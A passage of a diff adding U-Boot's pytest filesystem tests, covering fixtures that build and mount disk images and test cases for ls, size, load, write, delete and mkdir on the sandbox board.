+        pytest.skip('Setup failed for filesystem: ' + fs_type)
+        umount_fs(mount_dir)
+        return
+    else:
+        umount_fs(mount_dir)
+        yield [fs_ubtype, fs_img]
+    finally:
+        call('rmdir %s' % mount_dir, shell=True)
+        call('rm -f %s' % fs_img, shell=True)
+
+#
+# Fixture for symlink fs test
+#
+@pytest.fixture()
+def fs_obj_symlink(request, u_boot_config):
+    """Set up a file system to be used in symlink fs test.
+
+    Args:
+        request: Pytest request object.
+        u_boot_config: U-boot configuration.
+
+    Return:
+        A fixture for basic fs test, i.e. a triplet of file system type,
+        volume file name and  a list of MD5 hashes.
+    """
+    fs_type = request.param
+    fs_img = ''
+
+    fs_ubtype = fstype_to_ubname(fs_type)
+    check_ubconfig(u_boot_config, fs_ubtype)
+
+    mount_dir = u_boot_config.persistent_data_dir + '/mnt'
+
+    small_file = mount_dir + '/' + SMALL_FILE
+    medium_file = mount_dir + '/' + MEDIUM_FILE
+
+    try:
+
+        # 1GiB volume
+        fs_img = mk_fs(u_boot_config, fs_type, 0x40000000, '1GB')
+    except CalledProcessError as err:
+        pytest.skip('Creating failed for filesystem: ' + fs_type + '. {}'.format(err))
+        return
+
+    try:
+        check_call('mkdir -p %s' % mount_dir, shell=True)
+    except CalledProcessError as err:
+        pytest.skip('Preparing mount folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+        call('rm -f %s' % fs_img, shell=True)
+        return
+
+    try:
+        # Mount the image so we can populate it.
+        mount_fs(fs_type, fs_img, mount_dir)
+    except CalledProcessError as err:
+        pytest.skip('Mounting to folder failed for filesystem: ' + fs_type + '. {}'.format(err))
+        call('rmdir %s' % mount_dir, shell=True)
+        call('rm -f %s' % fs_img, shell=True)
+        return
+
+    try:
+        # Create a subdirectory.
+        check_call('mkdir %s/SUBDIR' % mount_dir, shell=True)
+
+        # Create a small file in this image.
+        check_call('dd if=/dev/urandom of=%s bs=1M count=1'
+                   % small_file, shell=True)
+
+        # Create a medium file in this image.
+        check_call('dd if=/dev/urandom of=%s bs=10M count=1'
+                   % medium_file, shell=True)
+
+        # Generate the md5sums of reads that we will test against small file
+        out = check_output(
+            'dd if=%s bs=1M skip=0 count=1 2> /dev/null | md5sum'
+            % small_file, shell=True).decode()
+        md5val = [out.split()[0]]
+        out = check_output(
+            'dd if=%s bs=10M skip=0 count=1 2> /dev/null | md5sum'
+            % medium_file, shell=True).decode()
+        md5val.extend([out.split()[0]])
+
+    except CalledProcessError:
+        pytest.skip('Setup failed for filesystem: ' + fs_type)
+        umount_fs(mount_dir)
+        return
+    else:
+        umount_fs(mount_dir)
+        yield [fs_ubtype, fs_img, md5val]
+    finally:
+        call('rmdir %s' % mount_dir, shell=True)
+        call('rm -f %s' % fs_img, shell=True)
diff --git a/roms/u-boot/test/py/tests/test_fs/fstest_defs.py b/roms/u-boot/test/py/tests/test_fs/fstest_defs.py
new file mode 100644
index 000000000..35b2bb651
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fs/fstest_defs.py
@@ -0,0 +1,16 @@
+# SPDX-License-Identifier:      GPL-2.0+
+
+# $MIN_FILE is the name of the 20KB file in the file system image
+MIN_FILE='testfile'
+
+# $SMALL_FILE is the name of the 1MB file in the file system image
+SMALL_FILE='1MB.file'
+
+# $MEDIUM_FILE is the name of the 10MB file in the file system image
+MEDIUM_FILE='10MB.file'
+
+# $BIG_FILE is the name of the 2.5GB file in the file system image
+BIG_FILE='2.5GB.file'
+
+ADDR=0x01000008
+LENGTH=0x00100000
diff --git a/roms/u-boot/test/py/tests/test_fs/fstest_helpers.py b/roms/u-boot/test/py/tests/test_fs/fstest_helpers.py
new file mode 100644
index 000000000..faec29824
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fs/fstest_helpers.py
@@ -0,0 +1,13 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2019, Texas Instrument
+# Author: JJ Hiblot 
+#
+
+from subprocess import check_call, CalledProcessError
+
+def assert_fs_integrity(fs_type, fs_img):
+    try:
+        if fs_type == 'ext4':
+            check_call('fsck.ext4 -n -f %s' % fs_img, shell=True)
+    except CalledProcessError:
+        raise
diff --git a/roms/u-boot/test/py/tests/test_fs/test_basic.py b/roms/u-boot/test/py/tests/test_fs/test_basic.py
new file mode 100644
index 000000000..71f3e86fb
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fs/test_basic.py
@@ -0,0 +1,292 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2018, Linaro Limited
+# Author: Takahiro Akashi 
+#
+# U-Boot File System:Basic Test
+
+"""
+This test verifies basic read/write operation on file system.
+"""
+
+import pytest
+import re
+from fstest_defs import *
+from fstest_helpers import assert_fs_integrity
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.slow
+class TestFsBasic(object):
+    def test_fs1(self, u_boot_console, fs_obj_basic):
+        """
+        Test Case 1 - ls command, listing a root directory and invalid directory
+        """
+        fs_type,fs_img,md5val = fs_obj_basic
+        with u_boot_console.log.section('Test Case 1a - ls'):
+            # Test Case 1 - ls
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sls host 0:0' % fs_type])
+            assert(re.search('2621440000 *%s' % BIG_FILE, ''.join(output)))
+            assert(re.search('1048576 *%s' % SMALL_FILE, ''.join(output)))
+
+        with u_boot_console.log.section('Test Case 1b - ls (invalid dir)'):
+            # In addition, test with a nonexistent directory to see if we crash.
+            output = u_boot_console.run_command(
+                '%sls host 0:0 invalid_d' % fs_type)
+            if fs_type == 'ext4':
+                assert('Can not find directory' in output)
+            else:
+                assert('' == output)
+
+    def test_fs2(self, u_boot_console, fs_obj_basic):
+        """
+        Test Case 2 - size command for a small file
+        """
+        fs_type,fs_img,md5val = fs_obj_basic
+        with u_boot_console.log.section('Test Case 2a - size (small)'):
+            # 1MB is 0x0010 0000
+            # Test Case 2a - size of small file
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%ssize host 0:0 /%s' % (fs_type, SMALL_FILE),
+                'printenv filesize',
+                'setenv filesize'])
+            assert('filesize=100000' in ''.join(output))
+
+        with u_boot_console.log.section('Test Case 2b - size (/../)'):
+            # Test Case 2b - size of small file via a path using '..'
+            output = u_boot_console.run_command_list([
+                '%ssize host 0:0 /SUBDIR/../%s' % (fs_type, SMALL_FILE),
+                'printenv filesize',
+                'setenv filesize'])
+            assert('filesize=100000' in ''.join(output))
+
+    def test_fs3(self, u_boot_console, fs_obj_basic):
+        """
+        Test Case 3 - size command for a large file
+        """
+        fs_type,fs_img,md5val = fs_obj_basic
+        with u_boot_console.log.section('Test Case 3 - size (large)'):
+            # 2.5GB (1024*1024*2500) is 0x9C40 0000
+            # Test Case 3 - size of big file
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%ssize host 0:0 /%s' % (fs_type, BIG_FILE),
+                'printenv filesize',
+                'setenv filesize'])
+            assert('filesize=9c400000' in ''.join(output))
+
+    def test_fs4(self, u_boot_console, fs_obj_basic):
+        """
+        Test Case 4 - load a small file, 1MB
+        """
+        fs_type,fs_img,md5val = fs_obj_basic
+        with u_boot_console.log.section('Test Case 4 - load (small)'):
+            # Test Case 4a - Read full 1MB of small file
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, SMALL_FILE),
+                'printenv filesize'])
+            assert('filesize=100000' in ''.join(output))
+
+            # Test Case 4b - Read full 1MB of small file
+            output = u_boot_console.run_command_list([
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[0] in ''.join(output))
+
+    def test_fs5(self, u_boot_console, fs_obj_basic):
+        """
+        Test Case 5 - load, reading first 1MB of 3GB file
+        """
+        fs_type,fs_img,md5val = fs_obj_basic
+        with u_boot_console.log.section('Test Case 5 - load (first 1MB)'):
+            # Test Case 5a - First 1MB of big file
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s %x 0x0' % (fs_type, ADDR, BIG_FILE, LENGTH),
+                'printenv filesize'])
+            assert('filesize=100000' in ''.join(output))
+
+            # Test Case 5b - First 1MB of big file
+            output = u_boot_console.run_command_list([
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[1] in ''.join(output))
+
+    def test_fs6(self, u_boot_console, fs_obj_basic):
+        """
+        Test Case 6 - load, reading last 1MB of 3GB file
+        """
+        fs_type,fs_img,md5val = fs_obj_basic
+        with u_boot_console.log.section('Test Case 6 - load (last 1MB)'):
+            # fails for ext as no offset support
+            # Test Case 6a - Last 1MB of big file
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s %x 0x9c300000'
+                    % (fs_type, ADDR, BIG_FILE, LENGTH),
+                'printenv filesize'])
+            assert('filesize=100000' in ''.join(output))
+
+            # Test Case 6b - Last 1MB of big file
+            output = u_boot_console.run_command_list([
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[2] in ''.join(output))
+
+    def test_fs7(self, u_boot_console, fs_obj_basic):
+        """
+        Test Case 7 - load, 1MB from the last 1MB in 2GB
+        """
+        fs_type,fs_img,md5val = fs_obj_basic
+        with u_boot_console.log.section('Test Case 7 - load (last 1MB in 2GB)'):
+            # fails for ext as no offset support
+            # Test Case 7a - One from the last 1MB chunk of 2GB
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s %x 0x7ff00000'
+                    % (fs_type, ADDR, BIG_FILE, LENGTH),
+                'printenv filesize'])
+            assert('filesize=100000' in ''.join(output))
+
+            # Test Case 7b - One from the last 1MB chunk of 2GB
+            output = u_boot_console.run_command_list([
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[3] in ''.join(output))
+
+    def test_fs8(self, u_boot_console, fs_obj_basic):
+        """
+        Test Case 8 - load, reading first 1MB in 2GB
+        """
+        fs_type,fs_img,md5val = fs_obj_basic
+        with u_boot_console.log.section('Test Case 8 - load (first 1MB in 2GB)'):
+            # fails for ext as no offset support
+            # Test Case 8a - One from the start 1MB chunk from 2GB
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s %x 0x80000000'
+                    % (fs_type, ADDR, BIG_FILE, LENGTH),
+                'printenv filesize'])
+            assert('filesize=100000' in ''.join(output))
+
+            # Test Case 8b - One from the start 1MB chunk from 2GB
+            output = u_boot_console.run_command_list([
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[4] in ''.join(output))
+
+    def test_fs9(self, u_boot_console, fs_obj_basic):
+        """
+        Test Case 9 - load, 1MB crossing 2GB boundary
+        """
+        fs_type,fs_img,md5val = fs_obj_basic
+        with u_boot_console.log.section('Test Case 9 - load (crossing 2GB boundary)'):
+            # fails for ext as no offset support
+            # Test Case 9a - One 1MB chunk crossing the 2GB boundary
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s %x 0x7ff80000'
+                    % (fs_type, ADDR, BIG_FILE, LENGTH),
+                'printenv filesize'])
+            assert('filesize=100000' in ''.join(output))
+
+            # Test Case 9b - One 1MB chunk crossing the 2GB boundary
+            output = u_boot_console.run_command_list([
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[5] in ''.join(output))
+
+    def test_fs10(self, u_boot_console, fs_obj_basic):
+        """
+        Test Case 10 - load, reading beyond file end'):
+        """
+        fs_type,fs_img,md5val = fs_obj_basic
+        with u_boot_console.log.section('Test Case 10 - load (beyond file end)'):
+            # Generic failure case
+            # Test Case 10 - 2MB chunk from the last 1MB of big file
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s 0x00200000 0x9c300000'
+                    % (fs_type, ADDR, BIG_FILE),
+                'printenv filesize',
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+        assert('filesize=100000' in ''.join(output))
+
+    def test_fs11(self, u_boot_console, fs_obj_basic):
+        """
+        Test Case 11 - write'
+        """
+        fs_type,fs_img,md5val = fs_obj_basic
+        with u_boot_console.log.section('Test Case 11 - write'):
+            # Read 1MB from small file
+            # Write it back to test the writes
+            # Test Case 11a - Check that the write succeeded
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, SMALL_FILE),
+                '%swrite host 0:0 %x /%s.w $filesize'
+                    % (fs_type, ADDR, SMALL_FILE)])
+            assert('1048576 bytes written' in ''.join(output))
+
+            # Test Case 11b - Check md5 of written to is same
+            # as the one read from
+            output = u_boot_console.run_command_list([
+                '%sload host 0:0 %x /%s.w' % (fs_type, ADDR, SMALL_FILE),
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[0] in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_fs12(self, u_boot_console, fs_obj_basic):
+        """
+        Test Case 12 - write to "." directory
+        """
+        fs_type,fs_img,md5val = fs_obj_basic
+        with u_boot_console.log.section('Test Case 12 - write (".")'):
+            # Next test case checks writing a file whose dirent
+            # is the first in the block, which is always true for "."
+            # The write should fail, but the lookup should work
+            # Test Case 12 - Check directory traversal
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%swrite host 0:0 %x /. 0x10' % (fs_type, ADDR)])
+            assert('Unable to write' in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_fs13(self, u_boot_console, fs_obj_basic):
+        """
+        Test Case 13 - write to a file with "/./"
+        """
+        fs_type,fs_img,md5val = fs_obj_basic
+        with u_boot_console.log.section('Test Case 13 - write  ("./")'):
+            # Read 1MB from small file
+            # Write it via "same directory", i.e. "." dirent
+            # Test Case 13a - Check directory traversal
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, SMALL_FILE),
+                '%swrite host 0:0 %x /./%s2 $filesize'
+                    % (fs_type, ADDR, SMALL_FILE)])
+            assert('1048576 bytes written' in ''.join(output))
+
+            # Test Case 13b - Check md5 of written to is same
+            # as the one read from
+            output = u_boot_console.run_command_list([
+                'mw.b %x 00 100' % ADDR,
+                '%sload host 0:0 %x /./%s2' % (fs_type, ADDR, SMALL_FILE),
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[0] in ''.join(output))
+
+            # Test Case 13c - Check md5 of written to is same
+            # as the one read from
+            output = u_boot_console.run_command_list([
+                'mw.b %x 00 100' % ADDR,
+                '%sload host 0:0 %x /%s2' % (fs_type, ADDR, SMALL_FILE),
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[0] in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
diff --git a/roms/u-boot/test/py/tests/test_fs/test_ext.py b/roms/u-boot/test/py/tests/test_fs/test_ext.py
new file mode 100644
index 000000000..dba874fc5
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fs/test_ext.py
@@ -0,0 +1,319 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2018, Linaro Limited
+# Author: Takahiro Akashi 
+#
+# U-Boot File System:Exntented Test
+
+"""
+This test verifies extended write operation on file system.
+"""
+
+import pytest
+import re
+from fstest_defs import *
+from fstest_helpers import assert_fs_integrity
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.slow
+class TestFsExt(object):
+    def test_fs_ext1(self, u_boot_console, fs_obj_ext):
+        """
+        Test Case 1 - write a file with absolute path
+        """
+        fs_type,fs_img,md5val = fs_obj_ext
+        with u_boot_console.log.section('Test Case 1 - write with abs path'):
+            # Test Case 1a - Check if command successfully returned
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+                '%swrite host 0:0 %x /dir1/%s.w1 $filesize'
+                    % (fs_type, ADDR, MIN_FILE)])
+            assert('20480 bytes written' in ''.join(output))
+
+            # Test Case 1b - Check md5 of file content
+            output = u_boot_console.run_command_list([
+                'mw.b %x 00 100' % ADDR,
+                '%sload host 0:0 %x /dir1/%s.w1' % (fs_type, ADDR, MIN_FILE),
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[0] in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_fs_ext2(self, u_boot_console, fs_obj_ext):
+        """
+        Test Case 2 - write to a file with relative path
+        """
+        fs_type,fs_img,md5val = fs_obj_ext
+        with u_boot_console.log.section('Test Case 2 - write with rel path'):
+            # Test Case 2a - Check if command successfully returned
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+                '%swrite host 0:0 %x dir1/%s.w2 $filesize'
+                    % (fs_type, ADDR, MIN_FILE)])
+            assert('20480 bytes written' in ''.join(output))
+
+            # Test Case 2b - Check md5 of file content
+            output = u_boot_console.run_command_list([
+                'mw.b %x 00 100' % ADDR,
+                '%sload host 0:0 %x dir1/%s.w2' % (fs_type, ADDR, MIN_FILE),
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[0] in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_fs_ext3(self, u_boot_console, fs_obj_ext):
+        """
+        Test Case 3 - write to a file with invalid path
+        """
+        fs_type,fs_img,md5val = fs_obj_ext
+        with u_boot_console.log.section('Test Case 3 - write with invalid path'):
+            # Test Case 3 - Check if command expectedly failed
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+                '%swrite host 0:0 %x /dir1/none/%s.w3 $filesize'
+                    % (fs_type, ADDR, MIN_FILE)])
+            assert('Unable to write file /dir1/none/' in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_fs_ext4(self, u_boot_console, fs_obj_ext):
+        """
+        Test Case 4 - write at non-zero offset, enlarging file size
+        """
+        fs_type,fs_img,md5val = fs_obj_ext
+        with u_boot_console.log.section('Test Case 4 - write at non-zero offset, enlarging file size'):
+            # Test Case 4a - Check if command successfully returned
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+                '%swrite host 0:0 %x /dir1/%s.w4 $filesize'
+                    % (fs_type, ADDR, MIN_FILE)])
+            output = u_boot_console.run_command(
+                '%swrite host 0:0 %x /dir1/%s.w4 $filesize 0x1400'
+                    % (fs_type, ADDR, MIN_FILE))
+            assert('20480 bytes written' in output)
+
+            # Test Case 4b - Check size of written file
+            output = u_boot_console.run_command_list([
+                '%ssize host 0:0 /dir1/%s.w4' % (fs_type, MIN_FILE),
+                'printenv filesize',
+                'setenv filesize'])
+            assert('filesize=6400' in ''.join(output))
+
+            # Test Case 4c - Check md5 of file content
+            output = u_boot_console.run_command_list([
+                'mw.b %x 00 100' % ADDR,
+                '%sload host 0:0 %x /dir1/%s.w4' % (fs_type, ADDR, MIN_FILE),
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[1] in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_fs_ext5(self, u_boot_console, fs_obj_ext):
+        """
+        Test Case 5 - write at non-zero offset, shrinking file size
+        """
+        fs_type,fs_img,md5val = fs_obj_ext
+        with u_boot_console.log.section('Test Case 5 - write at non-zero offset, shrinking file size'):
+            # Test Case 5a - Check if command successfully returned
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+                '%swrite host 0:0 %x /dir1/%s.w5 $filesize'
+                    % (fs_type, ADDR, MIN_FILE)])
+            output = u_boot_console.run_command(
+                '%swrite host 0:0 %x /dir1/%s.w5 0x1400 0x1400'
+                    % (fs_type, ADDR, MIN_FILE))
+            assert('5120 bytes written' in output)
+
+            # Test Case 5b - Check size of written file
+            output = u_boot_console.run_command_list([
+                '%ssize host 0:0 /dir1/%s.w5' % (fs_type, MIN_FILE),
+                'printenv filesize',
+                'setenv filesize'])
+            assert('filesize=2800' in ''.join(output))
+
+            # Test Case 5c - Check md5 of file content
+            output = u_boot_console.run_command_list([
+                'mw.b %x 00 100' % ADDR,
+                '%sload host 0:0 %x /dir1/%s.w5' % (fs_type, ADDR, MIN_FILE),
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[2] in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_fs_ext6(self, u_boot_console, fs_obj_ext):
+        """
+        Test Case 6 - write nothing at the start, truncating to zero
+        """
+        fs_type,fs_img,md5val = fs_obj_ext
+        with u_boot_console.log.section('Test Case 6 - write nothing at the start, truncating to zero'):
+            # Test Case 6a - Check if command successfully returned
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+                '%swrite host 0:0 %x /dir1/%s.w6 $filesize'
+                    % (fs_type, ADDR, MIN_FILE)])
+            output = u_boot_console.run_command(
+                '%swrite host 0:0 %x /dir1/%s.w6 0 0'
+                    % (fs_type, ADDR, MIN_FILE))
+            assert('0 bytes written' in output)
+
+            # Test Case 6b - Check size of written file
+            output = u_boot_console.run_command_list([
+                '%ssize host 0:0 /dir1/%s.w6' % (fs_type, MIN_FILE),
+                'printenv filesize',
+                'setenv filesize'])
+            assert('filesize=0' in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_fs_ext7(self, u_boot_console, fs_obj_ext):
+        """
+        Test Case 7 - write at the end (append)
+        """
+        fs_type,fs_img,md5val = fs_obj_ext
+        with u_boot_console.log.section('Test Case 7 - write at the end (append)'):
+            # Test Case 7a - Check if command successfully returned
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+                '%swrite host 0:0 %x /dir1/%s.w7 $filesize'
+                    % (fs_type, ADDR, MIN_FILE)])
+            output = u_boot_console.run_command(
+                '%swrite host 0:0 %x /dir1/%s.w7 $filesize $filesize'
+                    % (fs_type, ADDR, MIN_FILE))
+            assert('20480 bytes written' in output)
+
+            # Test Case 7b - Check size of written file
+            output = u_boot_console.run_command_list([
+                '%ssize host 0:0 /dir1/%s.w7' % (fs_type, MIN_FILE),
+                'printenv filesize',
+                'setenv filesize'])
+            assert('filesize=a000' in ''.join(output))
+
+            # Test Case 7c - Check md5 of file content
+            output = u_boot_console.run_command_list([
+                'mw.b %x 00 100' % ADDR,
+                '%sload host 0:0 %x /dir1/%s.w7' % (fs_type, ADDR, MIN_FILE),
+                'md5sum %x $filesize' % ADDR,
+                'setenv filesize'])
+            assert(md5val[3] in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_fs_ext8(self, u_boot_console, fs_obj_ext):
+        """
+        Test Case 8 - write at offset beyond the end of file
+        """
+        fs_type,fs_img,md5val = fs_obj_ext
+        with u_boot_console.log.section('Test Case 8 - write beyond the end'):
+            # Test Case 8a - Check if command expectedly failed
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+                '%swrite host 0:0 %x /dir1/%s.w8 $filesize'
+                    % (fs_type, ADDR, MIN_FILE)])
+            output = u_boot_console.run_command(
+                '%swrite host 0:0 %x /dir1/%s.w8 0x1400 %x'
+                    % (fs_type, ADDR, MIN_FILE, 0x100000 + 0x1400))
+            assert('Unable to write file /dir1' in output)
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_fs_ext9(self, u_boot_console, fs_obj_ext):
+        """
+        Test Case 9 - write to a non-existing file at non-zero offset
+        """
+        fs_type,fs_img,md5val = fs_obj_ext
+        with u_boot_console.log.section('Test Case 9 - write to non-existing file with non-zero offset'):
+            # Test Case 9a - Check if command expectedly failed
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%sload host 0:0 %x /%s' % (fs_type, ADDR, MIN_FILE),
+                '%swrite host 0:0 %x /dir1/%s.w9 0x1400 0x1400'
+                    % (fs_type, ADDR, MIN_FILE)])
+            assert('Unable to write file /dir1' in ''.join(output))
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_fs_ext10(self, u_boot_console, fs_obj_ext):
+        """
+        'Test Case 10 - create/delete as many directories under root directory
+        as amount of directory entries goes beyond one cluster size)'
+        """
+        fs_type,fs_img,md5val = fs_obj_ext
+        with u_boot_console.log.section('Test Case 10 - create/delete (many)'):
+            # Test Case 10a - Create many files
+            #   Please note that the size of directory entry is 32 bytes.
+            #   So one typical cluster may holds 64 (2048/32) entries.
+            output = u_boot_console.run_command(
+                'host bind 0 %s' % fs_img)
+
+            for i in range(0, 66):
+                output = u_boot_console.run_command(
+                    '%swrite host 0:0 %x /FILE0123456789_%02x 100'
+                    % (fs_type, ADDR, i))
+            output = u_boot_console.run_command('%sls host 0:0 /' % fs_type)
+            assert('FILE0123456789_00' in output)
+            assert('FILE0123456789_41' in output)
+
+            # Test Case 10b - Delete many files
+            for i in range(0, 66):
+                output = u_boot_console.run_command(
+                    '%srm host 0:0 /FILE0123456789_%02x'
+                    % (fs_type, i))
+            output = u_boot_console.run_command('%sls host 0:0 /' % fs_type)
+            assert(not 'FILE0123456789_00' in output)
+            assert(not 'FILE0123456789_41' in output)
+
+            # Test Case 10c - Create many files again
+            # Please note no.64 and 65 are intentionally re-created
+            for i in range(64, 128):
+                output = u_boot_console.run_command(
+                    '%swrite host 0:0 %x /FILE0123456789_%02x 100'
+                    % (fs_type, ADDR, i))
+            output = u_boot_console.run_command('%sls host 0:0 /' % fs_type)
+            assert('FILE0123456789_40' in output)
+            assert('FILE0123456789_79' in output)
+
+            assert_fs_integrity(fs_type, fs_img)
+
+    def test_fs_ext11(self, u_boot_console, fs_obj_ext):
+        """
+        'Test Case 11 - create/delete as many directories under non-root
+        directory as amount of directory entries goes beyond one cluster size)'
+        """
+        fs_type,fs_img,md5val = fs_obj_ext
+        with u_boot_console.log.section('Test Case 11 - create/delete (many)'):
+            # Test Case 11a - Create many files
+            #   Please note that the size of directory entry is 32 bytes.
+            #   So one typical cluster may holds 64 (2048/32) entries.
+            output = u_boot_console.run_command(
+                'host bind 0 %s' % fs_img)
+
+            for i in range(0, 66):
+                output = u_boot_console.run_command(
+                    '%swrite host 0:0 %x /dir1/FILE0123456789_%02x 100'
+                    % (fs_type, ADDR, i))
+            output = u_boot_console.run_command('%sls host 0:0 /dir1' % fs_type)
+            assert('FILE0123456789_00' in output)
+            assert('FILE0123456789_41' in output)
+
+            # Test Case 11b - Delete many files
+            for i in range(0, 66):
+                output = u_boot_console.run_command(
+                    '%srm host 0:0 /dir1/FILE0123456789_%02x'
+                    % (fs_type, i))
+            output = u_boot_console.run_command('%sls host 0:0 /dir1' % fs_type)
+            assert(not 'FILE0123456789_00' in output)
+            assert(not 'FILE0123456789_41' in output)
+
+            # Test Case 11c - Create many files again
+            # Please note no.64 and 65 are intentionally re-created
+            for i in range(64, 128):
+                output = u_boot_console.run_command(
+                    '%swrite host 0:0 %x /dir1/FILE0123456789_%02x 100'
+                    % (fs_type, ADDR, i))
+            output = u_boot_console.run_command('%sls host 0:0 /dir1' % fs_type)
+            assert('FILE0123456789_40' in output)
+            assert('FILE0123456789_79' in output)
+
+            assert_fs_integrity(fs_type, fs_img)
diff --git a/roms/u-boot/test/py/tests/test_fs/test_fs_cmd.py b/roms/u-boot/test/py/tests/test_fs/test_fs_cmd.py
new file mode 100644
index 000000000..ba39a5315
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fs/test_fs_cmd.py
@@ -0,0 +1,13 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (C) 2020
+# Niel Fourie, DENX Software Engineering, lusus@denx.de
+
+import pytest
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('cmd_fs_generic')
+def test_dm_compat(u_boot_console):
+    """Test that `fstypes` prints a result which includes `sandbox`."""
+    output = u_boot_console.run_command('fstypes')
+    assert "Supported filesystems:" in output
+    assert "sandbox" in output
diff --git a/roms/u-boot/test/py/tests/test_fs/test_mkdir.py b/roms/u-boot/test/py/tests/test_fs/test_mkdir.py
new file mode 100644
index 000000000..fa9561ec3
--- /dev/null
+++ b/roms/u-boot/test/py/tests/test_fs/test_mkdir.py
@@ -0,0 +1,121 @@
+# SPDX-License-Identifier:      GPL-2.0+
+# Copyright (c) 2018, Linaro Limited
+# Author: Takahiro Akashi 
+#
+# U-Boot File System:mkdir Test
+
+"""
+This test verifies mkdir operation on file system.
+"""
+
+import pytest
+from fstest_helpers import assert_fs_integrity
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.slow
+class TestMkdir(object):
+    def test_mkdir1(self, u_boot_console, fs_obj_mkdir):
+        """
+        Test Case 1 - create a directory under a root
+        """
+        fs_type,fs_img = fs_obj_mkdir
+        with u_boot_console.log.section('Test Case 1 - mkdir'):
+            output = u_boot_console.run_command_list([
+                'host bind 0 %s' % fs_img,
+                '%smkdir host 0:0 dir1' % fs_type,
+                '%sls host 0:0 /' % fs_type])
+            assert('dir1/' in ''.join(output))
+
+            output = u_boot_console.run_command(
+                '%sls host 0:0 dir1' % fs_type)
